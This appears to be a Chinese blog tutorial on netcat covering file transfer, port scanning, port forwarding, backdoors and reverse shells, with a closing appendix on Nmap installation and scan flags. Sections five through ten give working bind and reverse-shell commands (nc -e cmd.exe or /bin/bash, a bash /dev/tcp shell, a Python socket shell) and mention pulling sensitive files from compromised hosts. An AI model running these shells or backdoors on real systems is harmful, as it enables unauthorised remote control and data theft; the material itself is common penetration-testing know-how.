赞
踩
一、基础使用方法:
1、创建一个服务器端方法:-nc -l -p [localport]
例:nc64.exe -l -p 4444(端口号)
2、创建一个客户端方法(连接服务端):-nc [remote_addr] [remoteport]
例:nc 192.168.43.106 4444
二、返回shell的使用
1、创建一个服务器端方法:-nc -l -p [localport] -e cmd.exe
例:nc64.exe -l -p 4444(端口号)
2、创建一个客户端方法(连接服务端):-nc [remote_addr] [remoteport]
三、文件传输的使用方法
使用场景:
(1)取证
当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机
器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。
(2)单纯获取目标机器敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。
(3)为什么可以直接利用nc进行文件传输呢?
nc中的数据传输使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。
1、实现客户端向服务器端传输文件
(1)创建一个服务器端方法:-nc -l -p [localport] > outfile
nc -l -p 4444 >outfile.txt
(2)创建一个客户端方法:-nc [remote_addr] [remoteport] < infile
nc 192.168.43.106 4444 < C:\Users\Administrator\Desktop\lxm.txt
2、实现服务器端向客户端传输文件
(1)创建一个服务器端方法:-nc -l -p [localport] < infile
(2)创建一个客户端方法:-nc [remote_addr] [remoteport] > outfile
3、设置等待时间
如果此时服务器端没有准备好连接,而客户端已经使用nc进行连接,那么客户端
会一直等待下去,直到连接上服务器,造成一种假死状态。
解决方法:设置等待时间
-nc -w3 [ip] [port] 设置等待3秒钟,超过3秒,客户端直接关闭等待连接。
四、端口扫描的使用方法
使用场景
(1)目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此
时刚好具有一个netcat的话,就可以使用netcat进行内网ip和端口的扫描。
(2)单纯对某个目标进行端口探测
当手头没有任何探测工具可以使用netcat进行端口探测。
(3)对目标的服务banner进行抓取通过netcat对目标端口进行探测。
1、-nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port](1-100或者8080,443)
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O模式,专用于端口扫描。表示对目标IP发送数据表中不包含任何
payload,这样做可以加快扫描的速度。
-w 超时时间设置为1秒
2、Banner抓取使用方法
-echo "" | -nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
五、Netcat建立后门
使用场景
(1)获取目标的命令执行权限
当获取了目标服务器的低权限,并没有获得命令执行权限时,可以使用Netcat来实现权限提升,
通过标机器上存在netcat,使用netcat建立后门,实现执行目标命令的功能。
(2)为什么可以使用netcat建立后门,并返回操作结果?
原理: netcat-切数据时通过标准输入/输出流实现的, 所以可以利用netcat的命令行
进行后门]建立,并传输结果信息。
1、Windows建立后门的使用方法
(1)监听型后门
-nc -l -p [port] -e cmd.exe
例:nc64.exe -l -p 4444 -e cmd.exe
(2)连接型后门
-nc [remote_ip] [remote_port] -e cmd.exe
例:nc64.exe 192.168.43.106 4444 -e cmd.exe
2、Linux建立后门的使用方法
(1)监听型后门
-nc -l -p 4444 -e /bin/bash
(2)连接型后门
-nc [remote] [remote_port] -e /bin/bash
六、命令参数
-nc -h 查看命令参数
-d 脱离命令窗口,在后台运行,常用于后门建立过程。
nc64.exe -l dp -d 4444
-e 执行某个程序,常用于后门建立过程。
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接
-L 设置netcat处于监听状态等待连接,当客户端断开,服务器依旧回到等待状态。
-n 设置netcat只识别ip地址,不进行DNS解析。
-o file 设置传输十六进制的数据
-p 设置本地监听的端口号
-r 设置netcat随机化端口号
-s addr 设置netcat源地址
-t 回复telnet的请求数据包
-u 设置netcat使用UDP模式
-v 显示错误提示信息
-w secs 设置连接超时秒数
-z zero I/O模式,专用于端口扫描。表示对目标IP发送数据表中不包含任何
payload,这样做可以加快扫描的速度。
七、连接转发
应用场景:突破某些特殊情况下的连接限制,以及处理一些特殊情况。
(内网和外网的连接限制)
1、echo nc [target] [port] >delay.bat
2、nc -l -p [localport] -e delay.bat
当有客户端连接到该服务端时,连接的客户端和通过服务端连接到target port上
实现了连接转发功能。(端口转发)
例子:(1)netcat -l -p 4444 (192.168.146.128)
(2)nc64.exe 192.168.146.128 4444 (delay.bat批处理文件)
(3)nc64.exe -l -p 4445 -e delay.bat
(4)nc 192.168.1.105 4445 (192.168.1.100)
八、Netcat反弹shell(Bash)
应用场景:拿到某些服务器权限之后,想设置一个反弹shell。但目标服务器上没有
安装Netcat时。
反弹shell命令:bash -i >& /dev/tcp/ip/port 0>&1 (服务器端) PC接收Netcat命令:nc -lvp port (PC端) 例子:PC端(192.168.1.100):nc64.exe -lvp 4445 服务器端:bash -i >& /dev/tcp/192.168.1.100/4445 0>&1 解释:-lvp -l:启动监听模式 -v:详细输出 -p:指定对应监听端口 解释:bash -i >& /dev/tcp/ip/port 0>&1 bash -i:表示以交互模式运行bash shell >&:重定向符,如果在其后加文件描述符,是将bash -i 交互模式传递 给文件描述符,而其后是文件,则将bash -i 交互模式传递给文件。 /dev/tcp/ip/port表示传递给远程主机的IP地址对应的端口。 文件描述符:0标准输入、1标准输出、2错误输入输出 命令中的0>&1表示将标准输入重定向到标准输出,实现远程输入可以在远程输 出的对应内容。
九、Netcat反弹shell(Python)
应用场景:拿到某些服务器权限之后,想要设置一个反弹shell。但是目标服务器上
没有安装Netcat时。但是安装了Python。
反弹shell命令: python -c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('ip:,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" (服务器端) PC接收Netcat命令: nc -lvp port(PC端) 例子:PC端(192.168.1.100):nc64.exe -lvp 4445 服务器端: python -c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.1.100:,4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 命令解释介绍:1、首先使用socket与远程建立起连接,具有了远程的文件描述符3。可 以使用s.fileno()来查看具体套接字建立的远程文件描述符。 2、os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远 程,使用os的subprocess在本地开启一个子进程,传入参数"-i” 使bash以交互模式启动,标准输入、标准输出、标准错误输出又被 重定向到了远程,这样就可以实现反弹shell。
十、Netcat反弹shell(不支持Nc -e)
应用场景:拿到某些服务器权限之后,想要设置一个反弹shell。当时配置原因不支持
-e参数。
反弹shell命令:nc ip port | /bin/bash | nc ip port (服务器端)
PC接收Netcat命令: nc -lvp port 需要启动两个监听端口(PC端)
例子:PC端(192.168.1.100):nc64.exe -lvp 4445
nc64.exe -lvp 4446
命令解释:在攻击测试机器上开启两个NC进行监听端,其中一个作为输入,一个作为输出。
目标机器上 使用管道来重新定向输入输出。
十一、附录:UDP端口通信监测
除了上述netcat工具,还可以安装Nmap工具:
Linux版下载地址:https://nmap.org/dist/nmap-7.91-1.x86_64.rpm,或者执行:
rpm -vhU https://nmap.org/dist/nmap-7.91-1.x86_64.rpm
rpm -vhU https://nmap.org/dist/zenmap-7.91-1.noarch.rpm
rpm -vhU https://nmap.org/dist/ncat-7.91-1.x86_64.rpm
rpm -vhU https://nmap.org/dist/nping-0.7.91-1.x86_64.rpm
Nping工具下载地址:https://nmap.org/dist/nping-0.7.91-1.x86_64.rpm
Mac OS版下载:https://nmap.org/dist/nmap-7.91.dmg
Windows版本:
https://nmap.org/dist/nmap-7.91-setup.exe
因依赖https://nmap.org/npcap/dist/npcap-1.31.exe这个,先安装这个;另nmap需要 Microsoft Visual C++ 2013 Redistributable Package 运行时环境,默认系统可能已经安装,请检查;另双击解压后文佳佳的nmap_performance.reg或命令行执行regedt32 nmap_performance.reg,会将注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters:注册一个dword值。
端口数量限制修改:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,新建 DWORD项:
MaxUserPort,值:65534(说明,可取值 5000-65534,默认是5000)
延迟修改:将TCPTimedWaitDelay配置为0,不开启时延监测。
执行;用administrators 打开cmd,切到Nmap目录,或直接鼠标找到shift+右键,本初打开命令行窗口也行:
执行:nmap -sU 目标主机ip -p 8888 -Pn
部分参数说明:
n 不用解析域名
-F快速扫描,默认精细扫描
-p 端口【U udp T tcp 服务,端口可指定范围】
-sT tcp端口扫描(完整三次握手)。
-sU udp扫描。(不回应可能端口打开,回应是关闭)
-sL dns反向解析。
-sM[fin ack mainmon扫描] 。
-sS隐蔽扫描(半开syn)。
-sP:Ping发现扫描网络存活主机。(直连arp非直连tcp80 icmp)
-sO确定主机协议扫描。
-sA tcp ACK扫描。
-sW 对滑动窗口的扫描sI[idlescan]。
-sR RPC扫描。(flag没有syn,ack,rst回送rst)
-sN 关闭主机发现【空】。(不管是否存在直接扫描)
-sF FIN扫描 。(sN sF sX逃避不了ids)
-sX Xmas扫描 (fin psh urg为置位)。
-sI 完全隐藏。【以一个跳板主机{无流量}扫描另一台主机】
-sV 服务版本。
更多参考:https://nmap.org/man/zh/
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。